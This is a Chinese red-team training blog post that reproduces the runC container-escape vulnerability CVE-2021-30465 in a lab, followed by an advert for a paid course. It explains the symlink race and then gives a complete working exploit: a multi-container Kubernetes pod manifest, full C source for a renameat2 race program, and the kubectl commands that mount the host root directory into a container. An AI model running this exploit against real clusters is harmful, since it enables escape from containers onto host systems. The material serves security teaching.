文章来源｜MS08067 红队攻防班

本文作者：BLACK（红队攻防班讲师）

场景介绍
runC是⼀个CLI⼯具，⽤于根据OCI规范⽣成和运⾏容器，该⼯具被⼴泛的应⽤于各种虚拟化环境中，如Kubernetes。
该漏洞是由于挂载卷时，runC不信任⽬标参数，并将使⽤ “filepath-securejoin” 库来解析任何符号链接并确保解析的⽬标在容器根⽬录中，但是如果⽤符号链接替换检查的⽬标⽂件时，可以将主机⽂件挂载到容器中。⿊客可利⽤该漏洞能将宿主机⽬录挂载到容器中，来实现容器逃逸。

漏洞详情
在容器层⾯挂载卷和挂载⽬录是不⼀样的。
挂载⽬录，对容器来说，只是简单把⽬录与容器的⽬录做映射绑定，⽽⽬录的权限还是在主机，需要⽤户⾃制维护，⼿动处理权限等问题。

卷 (Volume) 是受控存储，挂载卷后是由容器引擎进⾏管理维护的，也就是把对应卷的所有权交给了容器引擎（本次漏洞的核⼼点）

正常定义卷A之后 ，若a容器挂载了卷A，那它同时也挂载了卷A下⾯的⽬录。

当a容器起来后，恶意程序疯狂的在挂载的⽬录下刷新软连接与⽬录的关系。与此同时若b容器也像a容器⼀样挂载了相同中的卷和对应卷下⾯的⽬录。

因为卷所有权这个时候是在引擎内，并且a容器相同卷下的⽬录还在刷新软连接（相同于创建软连接）这个时间在容器引擎内部就会存在资源竞争，形成了漏洞。

环境搭建
漏洞环境准备：

# docker
./metarget cnv install cve-2021-30465
# k8s
./metarget gadget install k8s --version 1.16.5 --domestic

在宿主机的/⽬录下建⽴flag⽂件

漏洞复现
因为是利⽤竞争条件来进⾏利⽤的，有很⼤概率失败的。
步骤⼀：创建攻击Pod

sudo kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: attack
spec:
terminationGracePeriodSeconds: 1
containers:
- name: c1
image: ubuntu:latest
command: [ "/bin/sleep", "inf" ]
env:
- name: MY_POD_UID
valueFrom:
fieldRef:
fieldPath: metadata.uid
volumeMounts:
- name: test1
mountPath: /test1
- name: test2
mountPath: /test2
$(for c in {2..20}; do
cat <<EOC
- name: c$c
image: donotexists.com/do/not:exist
command: [ "/bin/sleep", "inf" ]
volumeMounts: #容器内挂载点
- name: test1 #宿主机⽬录名
mountPath: /test1 #容器内⽬录名
- name: test2
mountPath: /test1/mnt1
- name: test2
mountPath: /test1/mnt2
- name: test2
mountPath: /test1/mnt3
- name: test2
mountPath: /test1/mnt4
- name: test2
mountPath: /test1/zzz
EOC
done
)
volumes:
- name: test1 #宿主机⽬录名emptyDir: #宿主机挂载点
medium: "Memory"
- name: test2
emptyDir:
medium: "Memory"
EOF

步骤⼆：编译恶意程序
保存以下代码为 race.c ⽂件并编译 gcc race.c -o race :

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/syscall.h>
#ifndef RENAME_EXCHANGE
#define RENAME_EXCHANGE (1 << 1)
#endif
int main(int argc, char *argv[]) {
if (argc != 4) {
fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
exit(EXIT_FAILURE);
}
char *name1 = argv[1], *name2 = argv[2], *linkdest = argv[3];
int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
if (dirfd < 0)
exit(EXIT_FAILURE);
if (mkdir(name1, 0755) < 0)
perror("mkdir failed");
if (symlink(linkdest, name2) < 0)
perror("symlink failed");
while (1)
syscall(SYS_renameat2, dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
}

步骤三：执⾏恶意程序

将恶意程序拷⻉⾄c1容器内执⾏：

kubectl cp race -c c1 attack:/test1/

然后进去容器创建符号链接：

sudo kubectl exec -it attack -c c1 bash
ln -s / /test2/test2

进⼊/test1⽬录下执⾏程序：

seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{}
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/

接着更新c2-c20的容器镜像为合法镜像。新打开⼀个终端，执⾏以下命令更新镜像，⼀旦更新， pod会尝试创建容器。

for c in {2..20}; do
sudo kubectl set image pod attack c$c=ubuntu:latest
done

执⾏以下命令查看漏洞是否利⽤成功：

for c in {2..20}; do
echo ~~ Container c$c ~~
sudo kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
done

若利⽤成功，会打印出/test1/zzz⽬录下的内容，也即宿主机根⽬录的内容：

参考⽂献
https://blog.champtar.fr/runc-symlink-CVE-2021-30465/
https://mp.weixin.qq.com/s/WRRjLKk_C9pq2WlvnA-NZQ

1.7号  红队攻防 第5期  最后来袭

课程费用

每期班定价2999，第五期班早鸟价：2499（前40名送499元内网知识星球名额），每个报名学员都可享受一次免费重听后续任意一期班的权益，一次没学懂就再来一遍！

培训采用在线直播+随堂录播+作业+微信群讲师解答的形式，无需等待，报名后立即进入“内网星球”开始预习。毕业推荐HW，推荐就业，有永久录播，报一期班可免费再参加后续任意一期班，内部VIP学习群永久有效。（可开发票，支付信用卡、花呗分期）

全新课程目录5.0版

*大纲仅作为参考，会根据当期进度有所变化。

报名咨询联系小客服

扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群，内部微信群永久有效！

目前50000+人已关注加入我们